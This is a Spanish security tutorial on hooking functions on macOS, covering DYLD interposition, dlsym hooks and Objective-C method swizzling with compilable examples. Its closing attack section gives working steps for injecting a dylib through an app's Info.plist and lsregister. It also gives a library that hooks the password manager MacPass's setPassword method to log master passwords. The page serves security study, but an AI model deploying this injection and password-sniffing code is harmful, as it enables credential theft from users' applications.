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Hooking de funciones en macOS
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Interposición de funciones
Crea una dylib con una sección __interpose (o una sección marcada con S_INTERPOSING) que contenga tuplas de punteros a funciones que se refieran a las funciones originales y a las funciones de reemplazo.
Luego, inyecta la dylib con DYLD_INSERT_LIBRARIES (la interposición debe ocurrir antes de que la aplicación principal se cargue). Obviamente, las restricciones aplicadas al uso de DYLD_INSERT_LIBRARIES también se aplican aquí.
Interponer printf
{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" %}
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
{% tab title="hello.c" %}
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
int open(const char *pathname, int flags) {
orig_open_type orig_open;
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
printf("Opening file: %s\n", pathname);
return orig_open(pathname, flags);
}
FILE *fopen(const char *pathname, const char *mode) {
orig_fopen_type orig_fopen;
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
printf("Opening file: %s\n", pathname);
return orig_fopen(pathname, mode);
}
Este es un ejemplo de código en C que muestra cómo realizar el hooking de funciones en macOS. El código utiliza la función dlsym de la biblioteca dlfcn.h para obtener un puntero a la función original que se va a interponer. Luego, se imprime un mensaje indicando que se está abriendo un archivo y se llama a la función original utilizando el puntero obtenido.
En el caso de la función open, se define un tipo de puntero a función orig_open_type que toma los mismos argumentos y devuelve el mismo tipo de valor que la función original. Se declara una variable orig_open de este tipo y se le asigna el valor obtenido mediante dlsym. Luego, se imprime el nombre del archivo que se está abriendo y se llama a la función original utilizando el puntero orig_open.
En el caso de la función fopen, se sigue el mismo proceso que en el caso de open, pero utilizando un tipo de puntero a función orig_fopen_type y una variable orig_fopen.
Este código puede ser compilado como una biblioteca compartida y cargado en un proceso en ejecución utilizando la variable de entorno DYLD_INSERT_LIBRARIES. Una vez cargado, el código interpondrá las funciones open y fopen, imprimiendo un mensaje cada vez que se llamen. Esto puede ser útil para realizar análisis de comportamiento de aplicaciones o para realizar modificaciones en tiempo de ejecución.
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
{% endtab %} {% endtabs %}
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
Método Swizzling
En ObjectiveC, así es como se llama a un método: [instanciaDeMiClase nombreDelMetodoPrimerParam:param1 segundoParam:param2]
Se necesita el objeto, el método y los parámetros. Y cuando se llama a un método, se envía un mensaje utilizando la función objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);
El objeto es someObject, el método es @selector(method1p1:p2:) y los argumentos son value1, value2.
Siguiendo las estructuras de objetos, es posible llegar a una matriz de métodos donde se encuentran los nombres y punteros al código del método.
{% hint style="danger" %}
Ten en cuenta que debido a que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con otool -ov </ruta/bin> o class-dump </ruta/bin>
{% endhint %}
Accediendo a los métodos en bruto
Es posible acceder a la información de los métodos, como el nombre, el número de parámetros o la dirección, como en el siguiente ejemplo:
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
Método Swizzling con method_exchangeImplementations
La función method_exchangeImplementations permite cambiar la dirección de la implementación de una función por la de otra.
{% hint style="danger" %} Por lo tanto, cuando se llama a una función, lo que se ejecuta es la otra. {% endhint %}
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really coode is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
{% hint style="warning" %} En este caso, si el código de implementación del método legítimo verifica el nombre del método, podría detectar este intercambio de métodos y evitar que se ejecute.
La siguiente técnica no tiene esta restricción. {% endhint %}
Intercepción de métodos con method_setImplementation
El formato anterior es extraño porque estás cambiando la implementación de 2 métodos uno por el otro. Usando la función method_setImplementation, puedes cambiar la implementación de un método por otro.
Solo recuerda almacenar la dirección de la implementación del original si vas a llamarlo desde la nueva implementación antes de sobrescribirlo, ya que luego será mucho más complicado localizar esa dirección.
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
Metodología de Ataque de Hooking
En esta página se discuten diferentes formas de enganchar funciones. Sin embargo, todas ellas implican ejecutar código dentro del proceso para atacar.
La técnica más sencilla para lograr esto es inyectar un Dyld a través de variables de entorno o secuestro. Sin embargo, supongo que también se podría hacer mediante inyección de proceso Dylib.
Ambas opciones están limitadas a binarios/procesos no protegidos. Consulta cada técnica para obtener más información sobre las limitaciones.
Sin embargo, un ataque de enganche de funciones es muy específico, un atacante lo haría para robar información sensible desde dentro de un proceso (si no, simplemente se haría un ataque de inyección de proceso). Y esta información sensible podría estar ubicada en aplicaciones descargadas por el usuario, como MacPass.
Por lo tanto, el vector de ataque sería encontrar una vulnerabilidad o eliminar la firma de la aplicación, e inyectar la variable de entorno DYLD_INSERT_LIBRARIES a través del archivo Info.plist de la aplicación, agregando algo como:
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
y luego vuelva a registrar la aplicación:
{% code overflow="wrap" %}
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
{% endcode %}
Agrega en esa biblioteca el código de hooking para exfiltrar la información: contraseñas, mensajes...
{% hint style="danger" %} Ten en cuenta que en las versiones más recientes de macOS, si eliminas la firma del binario de la aplicación y esta se ejecutó previamente, macOS ya no ejecutará la aplicación. {% endhint %}
Ejemplo de biblioteca
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
Referencias
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